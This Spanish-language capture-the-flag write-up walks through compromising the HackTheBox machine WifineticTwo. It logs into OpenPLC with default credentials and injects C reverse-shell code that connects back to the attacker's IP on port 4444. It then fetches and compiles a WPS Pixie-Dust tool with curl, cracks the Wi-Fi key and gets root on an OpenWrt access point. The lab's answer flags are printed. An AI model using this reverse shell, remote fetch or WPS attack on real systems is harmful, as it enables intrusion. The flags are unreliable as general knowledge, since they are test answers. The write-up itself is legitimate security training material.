WifineticTwo es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina WifineticTwo 10.10.11.7 a /etc/hosts como wifinetictwo.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.7 Nmap scan report for 10.10.11.7 Host is up, received echo-reply ttl 63 (0.18s latency). Scanned at 2024-03-23 08:55:53 GMT for 16s Not shown: 63445 closed tcp ports (reset), 2088 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 8080/tcp open http-proxy syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Mar 23 08:56:09 2024 -- 1 IP address (1 host up) scanned in 15.89 seconds |
Detectados los puertos abiertos, analizamos más detenidamente los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
$ nmap -sCV -p 22,8080 -oA enumeration/nmap2 10.10.11.7 Nmap scan report for 10.10.11.7 Host is up (0.036s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18 | http-title: Site doesn't have a title (text/html; charset=utf-8). |_Requested resource was http://10.10.11.7:8080/login |_http-server-header: Werkzeug/1.0.1 Python/2.7.18 | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 404 NOT FOUND | content-type: text/html; charset=utf-8 | content-length: 232 | vary: Cookie | set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zf6ZRQ.hDSoQg36n-2WuJFkzYV8i8UFoTs; Expires=Sat, 23-Mar-2024 09:01:37 GMT; HttpOnly; Path=/ | server: Werkzeug/1.0.1 Python/2.7.18 | date: Sat, 23 Mar 2024 08:56:37 GMT | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> | <title>404 Not Found</title> | <h1>Not Found</h1> | <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p> | GetRequest: | HTTP/1.0 302 FOUND | content-type: text/html; charset=utf-8 | content-length: 219 | location: http://0.0.0.0:8080/login | vary: Cookie | set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.Zf6ZRQ.YfidwKsCCJKkelLE0tdSKh4yNO0; Expires=Sat, 23-Mar-2024 09:01:37 GMT; HttpOnly; Path=/ | server: Werkzeug/1.0.1 Python/2.7.18 | date: Sat, 23 Mar 2024 08:56:37 GMT | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> | <title>Redirecting...</title> | <h1>Redirecting...</h1> | <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link. | HTTPOptions: | HTTP/1.0 200 OK | content-type: text/html; charset=utf-8 | allow: HEAD, OPTIONS, GET | vary: Cookie | set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zf6ZRQ.hDSoQg36n-2WuJFkzYV8i8UFoTs; Expires=Sat, 23-Mar-2024 09:01:37 GMT; HttpOnly; Path=/ | content-length: 0 | server: Werkzeug/1.0.1 Python/2.7.18 | date: Sat, 23 Mar 2024 08:56:37 GMT | RTSPRequest: | HTTP/1.1 400 Bad request | content-length: 90 | cache-control: no-cache | content-type: text/html | connection: close | <html><body><h1>400 Bad request</h1> | Your browser sent an invalid request. |_ </body></html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.94%I=7%D=3/23%Time=65FE9945%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,24C,"HTTP/1\.0\x20302\x20FOUND\r\ncontent-type:\x20text/html;\ SF:x20charset=utf-8\r\ncontent-length:\x20219\r\nlocation:\x20http://0\.0\ SF:.0\.0:8080/login\r\nvary:\x20Cookie\r\nset-cookie:\x20session=eyJfZnJlc SF:2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ\.Zf6ZRQ\.YfidwKsCCJKkelLE0tdSKh4y SF:NO0;\x20Expires=Sat,\x2023-Mar-2024\x2009:01:37\x20GMT;\x20HttpOnly;\x2 SF:0Path=/\r\nserver:\x20Werkzeug/1\.0\.1\x20Python/2\.7\.18\r\ndate:\x20S SF:at,\x2023\x20Mar\x202024\x2008:56:37\x20GMT\r\n\r\n<!DOCTYPE\x20HTML\x2 SF:0PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20Final//EN\">\n<title>Redire SF:cting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x20be SF:\x20redirected\x20automatically\x20to\x20target\x20URL:\x20<a\x20href=\ SF:"/login\">/login</a>\.\x20\x20If\x20not\x20click\x20the\x20link\.")%r(H SF:TTPOptions,14E,"HTTP/1\.0\x20200\x20OK\r\ncontent-type:\x20text/html;\x SF:20charset=utf-8\r\nallow:\x20HEAD,\x20OPTIONS,\x20GET\r\nvary:\x20Cooki SF:e\r\nset-cookie:\x20session=eyJfcGVybWFuZW50Ijp0cnVlfQ\.Zf6ZRQ\.hDSoQg3 SF:6n-2WuJFkzYV8i8UFoTs;\x20Expires=Sat,\x2023-Mar-2024\x2009:01:37\x20GMT SF:;\x20HttpOnly;\x20Path=/\r\ncontent-length:\x200\r\nserver:\x20Werkzeug SF:/1\.0\.1\x20Python/2\.7\.18\r\ndate:\x20Sat,\x2023\x20Mar\x202024\x2008 SF::56:37\x20GMT\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x20re SF:quest\r\ncontent-length:\x2090\r\ncache-control:\x20no-cache\r\ncontent SF:-type:\x20text/html\r\nconnection:\x20close\r\n\r\n<html><body><h1>400\ SF:x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20req SF:uest\.\n</body></html>\n")%r(FourOhFourRequest,224,"HTTP/1\.0\x20404\x2 SF:0NOT\x20FOUND\r\ncontent-type:\x20text/html;\x20charset=utf-8\r\nconten SF:t-length:\x20232\r\nvary:\x20Cookie\r\nset-cookie:\x20session=eyJfcGVyb SF:WFuZW50Ijp0cnVlfQ\.Zf6ZRQ\.hDSoQg36n-2WuJFkzYV8i8UFoTs;\x20Expires=Sat, SF:\x2023-Mar-2024\x2009:01:37\x20GMT;\x20HttpOnly;\x20Path=/\r\nserver:\x SF:20Werkzeug/1\.0\.1\x20Python/2\.7\.18\r\ndate:\x20Sat,\x2023\x20Mar\x20 SF:2024\x2008:56:37\x20GMT\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C/ SF:/DTD\x20HTML\x203\.2\x20Final//EN\">\n<title>404\x20Not\x20Found</title SF:>\n<h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20f SF:ound\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20 SF:manually\x20please\x20check\x20your\x20spelling\x20and\x20try\x20again\ SF:.</p>\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Mar 23 08:56:47 2024 -- 1 IP address (1 host up) scanned in 19.02 seconds |
Enumeración
Accedemos al portal web del puerto 8080 y encontramos un formulario de login del software openplc webserver
Buscando en google encontramos las credenciales por defecto openplc:openplc y conseguimos entrar con las mismas
Buscando vulnerabilidades encontramos un RCE en exploit-db, así que vamos a hacerlo manualmente desde la gui web.
Nos vamos a la sección de hardware de la página y añadiremos el siguiente código al principio del código que vemos en la página
|
1 2 3 4 5 6 7 8 |
#include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include "ladder.h" |
A continuación añadiremos el siguiente fragmento en la función updateCustomOut
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
int port = 4444; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.3"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/sh", NULL}; execvp("/bin/sh", argv); return 0; |
Quedando como se ve en la siguiente captura
Una vez lo tenemos, guardamos para compilar el código
Y obtendremos una revshell en el servidor
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.11.7 48128 whoami root hostname attica01 python3 -c 'import pty; pty.spawn("/bin/bash")' root@attica01:/opt/PLC/OpenPLC_v3/webserver# |
Obteniendo la flag de user
Y con ello la flag de user
|
1 2 3 |
root@attica01:/tmp# cat /root/user.txt cat /root/user.txt fbd6d0c81a275c47d3e38067cf6509ed |
Escalado de privilegios
Vemos que somos root, pero en verdad no podemos acceder a la flag de root ya que esta no se encuentra en este servidor.
Enumeramos la máquina y encontramos un proceso interesante
|
1 2 3 4 |
root@attica01:/# ps aux|grep wpa ps aux|grep wpa root 166 0.0 0.1 16488 5704 ? Ss 09:23 0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant root 424 0.0 0.0 9068 2352 pts/5 S+ 09:30 0:00 grep --color=auto wpa |
Tiene todo el sentido que la forma de escalar, debido al nombre de la máquina, sea a través del wifi, así que vamos a revisar las interfaces
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
root@attica01:/# ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether 00:16:3e:fc:91:0c brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.0.3.2/24 brd 10.0.3.255 scope global eth0 valid_lft forever preferred_lft forever inet 10.0.3.52/24 metric 100 brd 10.0.3.255 scope global secondary dynamic eth0 valid_lft 3192sec preferred_lft 3192sec inet6 fe80::216:3eff:fefc:910c/64 scope link valid_lft forever preferred_lft forever 5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000 link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff |
Y buscamos alguna forma de conseguir explotar el wifi para poder escalar privilegios
Así que sacamos información de los link existentes
|
1 2 3 4 5 6 7 8 |
root@attica01:/# ip link show ip link show 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000 link/ether 00:16:3e:fc:91:0c brd ff:ff:ff:ff:ff:ff link-netnsid 0 5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000 link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff |
Y de la configuración de las interfaces wifi
|
1 2 3 4 5 6 7 8 9 10 11 |
root@attica01:/# iwconfig iwconfig wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:on eth0 no wireless extensions. lo no wireless extensions. |
Vamos a obtener más información de la interface wlan0 utilizada para la conexión wifi
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
root@attica01:/# iw dev wlan0 scan iw dev wlan0 scan BSS 02:00:00:00:01:00(on wlan0) last seen: 560.196s [boottime] TSF: 1711186356618909 usec (19805d, 09:32:36) freq: 2412 beacon interval: 100 TUs capability: ESS Privacy ShortSlotTime (0x0411) signal: -30.00 dBm last seen: 0 ms ago Information elements from Probe Response frame: SSID: plcrouter Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 DS Parameter set: channel 1 ERP: Barker_Preamble_Mode Extended supported rates: 24.0 36.0 48.0 54.0 RSN: * Version: 1 * Group cipher: CCMP * Pairwise ciphers: CCMP * Authentication suites: PSK * Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000) Supported operating classes: * current operating class: 81 Extended capabilities: * Extended Channel Switching * SSID List * Operating Mode Notification WPS: * Version: 1.0 * Wi-Fi Protected Setup State: 2 (Configured) * Response Type: 3 (AP) * UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1 * Manufacturer: * Model: * Model Number: * Serial Number: * Primary Device Type: 0-00000000-0 * Device name: * Config methods: Label, Display, Keypad * Version2: 2.0 |
Para poder continuar vamos a realizar un ataque de pixie-dust, y para ello utilizaremos la tool OneShot-C
Así que descargamos la tool, la subimos a la máquina y la compilamos
|
1 2 3 |
root@attica01:/tmp# curl http://10.10.14.3/oneshot.c -o oneshot.c gcc -o oneshot oneshot.c chmod +x oneshot |
Una vez hecho la ejecutamos para conseguir el pin y psk del wps
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
root@attica01:/tmp# sudo ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K sudo ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K [*] Running wpa_supplicant... [*] Trying pin 12345670... [*] Scanning... [*] Authenticating... [+] Authenticated [*] Associating with AP... [+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter) [*] Received Identity Request [*] Sending Identity Response... [*] Received WPS Message M1 [P] E-Nonce: 9ab1c4c2cf64bb6393b5592d1887699d [*] Building Message M2 [P] PKR: 255edbcb28fb2e615b5219bc3a923f750149e73eded0e871e299501f30c85f52d3bc70e60420827a2142313c25949e8576e0b91b21558f64cfe2c12e8ed91babab3185cb24b16ff3b9318a4e0dae088c217299d990f5e0bc595c2fefbf6644848929a8c8ad5607b0a66ffe23e20aa3f22fd36a14c9c80e52444a969e37e2fa01feb54354236238c9ab66fa24f6b5bd85fc669ec41f93615697b94895ab5d8279d29978f8d46bacfd9232fb1576f589d2a7b6e23e293569745cb8e5bfd5382206 [P] PKE: f9b8289191cbd615089200b290dd4df9b20ef3e606f1b9672058c8a266839acafeac9fe5fe3110c184a1d86b5349fb9999feec087f4f6dc7be50236a3acb7d63f6399049900399a87644b4cbae534dc8173e82fae79bf0971daaabdb7657a8b8e077b4ad2fcfce3c7803cec26470ba5b3d810ecaa0e8f1bea06ff80a9b5c75a1a4d6abbda103941bac662ee1d60718549e930f1d353eb1cd23aca2565d1e5e54adede13af1956d326c9f64220ee6a3660b227f8bd43a935e1e0512bc393eb0c5 [P] Authkey: 8fd82a798f21482d9376dadfd5b0d79dc570e8c1bb01cb9f3630320c23c15b04 [*] Received WPS Message M3 [P] E-Hash1: b2e62059c1afe0562f9665c0bad92f18e102459c6cb34281a6557e0a08f6815e [P] E-Hash2: 8bf3d9ef684ae574e0c33abb48f8816c6b51abde9573c81a24f2007ea50325c1 [*] Building Message M4 [*] Received WPS Message M5 [*] Building Message M6 [*] Received WPS Message M7 [+] WPS PIN: 12345670 [+] WPA PSK: NoWWEDoKnowWhaTisReal123! [+] AP SSID: plcrouter |
Para la siguiente parte del ataque utilizaremos wpa_passphrase para crear la password
|
1 2 |
root@attica01:/tmp# wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config <hrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config |
Posteriormente ejecutaremos wpa_supplicant
|
1 2 3 4 5 |
root@attica01:/tmp# wpa_supplicant -B -c config -i wlan0 wpa_supplicant -B -c config -i wlan0 Successfully initialized wpa_supplicant rfkill: Cannot open RFKILL control device rfkill: Cannot get wiphy information |
Y obtendremos una nueva ip para la interfaz wlan0
|
1 2 |
root@attica01:/tmp# ifconfig wlan0 192.168.1.3 netmask 255.255.255.0 ifconfig wlan0 192.168.1.3 netmask 255.255.255.0 |
Y verificamos que todo ha salido como esperábamos
|
1 2 3 4 5 6 |
root@attica01:/tmp# ip a s wlan0 ip a s wlan0 5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000 link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff inet 192.168.1.3/24 brd 192.168.1.255 scope global wlan0 valid_lft forever preferred_lft forever |
Ya estamos conectados, así que ahora vamos a ver que ips están dando servicio
|
1 2 3 4 5 6 7 8 9 10 11 12 |
ssh: connect to host 192.168.1.252 port 22: No route to host root@attica01:/tmp# for i in {1..255}; do IP="192.168.1.$i"; ping -c 1 -W 1 "$IP" &>/dev/null && echo "$IP is reachable" || echo "$IP is not reachable"; done < is reachable" || echo "$IP is not reachable"; done 192.168.1.1 is reachable 192.168.1.2 is not reachable 192.168.1.3 is reachable 192.168.1.4 is not reachable 192.168.1.5 is not reachable 192.168.1.6 is not reachable 192.168.1.7 is not reachable 192.168.1.8 is not reachable 192.168.1.9 is not reachable |
La dirección 1.1 es el gateway, así que conectamos por ssh a la dirección 1.3
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
root@attica01:/tmp# ssh root@192.168.1.1 ssh root@192.168.1.1 The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established. ED25519 key fingerprint is SHA256:ZcoOrJ2dytSfHYNwN2vcg6OsZjATPopYMLPVYhczadM. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes yes Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts. BusyBox v1.36.1 (2023-11-14 13:38:11 UTC) built-in shell (ash) _______ ________ __ | |.-----.-----.-----.| | | |.----.| |_ | - || _ | -__| || | | || _|| _| |_______|| __|_____|__|__||________||__| |____| |__| W I R E L E S S F R E E D O M ----------------------------------------------------- OpenWrt 23.05.2, r23630-842932a63d ----------------------------------------------------- === WARNING! ===================================== There is no root password defined on this device! Use the "passwd" command to set up a new password in order to prevent unauthorized SSH logins. -------------------------------------------------- root@ap:~# id id uid=0(root) gid=0(root) |
Y ya somos root en la máquina ap.
Obteniendo la flag de root
El último paso será ir a por la flag
|
1 2 3 4 |
root@ap:~# cat /root/root.txt cat /root/root.txt 7f71a8fa11a170d0cc0a02748b7cc7e1 root@ap:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
